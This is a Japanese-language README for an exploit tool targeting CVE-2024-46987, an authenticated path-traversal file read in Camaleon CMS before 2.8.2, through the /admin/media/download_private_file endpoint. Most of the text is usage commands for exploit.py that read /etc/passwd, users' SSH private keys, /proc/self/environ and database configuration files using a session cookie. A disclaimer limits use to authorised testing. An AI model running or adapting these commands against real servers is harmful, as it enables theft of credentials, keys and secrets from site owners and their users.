CVE-2024-46987 - Camaleon CMS ローカルファイルインクルージョン

Camaleon CMS 向け認証済みローカルファイルインクルージョン (LFI) エクスプロイト。

脆弱性

Camaleon CMS は、/admin/media/download_private_file エンドポイントを介した認証済み LFI 攻撃に対して脆弱です。file パラメータが適切にサニタイズされておらず、パストラバーサルを許容し、サーバー上の任意のファイルを読み取ることができます。

影響を受けるバージョン

Camaleon CMS 2.8.2 未満

必要条件

pip install requests

使用方法

# Print file to terminal (default)
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token"

# Save to file
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token" -o passwd.txt

パラメータ

Parameter

使用例

# Read passwd file
python3 exploit.py -u https://example.com -f /etc/passwd -t "auth_token"

# Read SSH keys
python3 exploit.py -u https://example.com -f /home/user/.ssh/id_rsa -t "auth_token" -o id_rsa

# Read environment variables
python3 exploit.py -u https://example.com -f /proc/self/environ -t "auth_token"

# Read application config
python3 exploit.py -u https://example.com -f /var/www/html/config/database.yml -t "auth_token"

免責事項

このツールは、許可されたセキュリティテストおよび教育目的のみを対象としています。テストする明示的な許可があるシステムに対してのみ使用してください。

`-u, --url`	ターゲット URL
`-f, --file`	読み取るファイル (例: `/etc/passwd`)
`-t, --token`	`auth_token` クッキーの値
`-o, --output`	出力ファイル名 (オプション、設定しない場合はターミナルに表示)

CVE-2024-46987

人気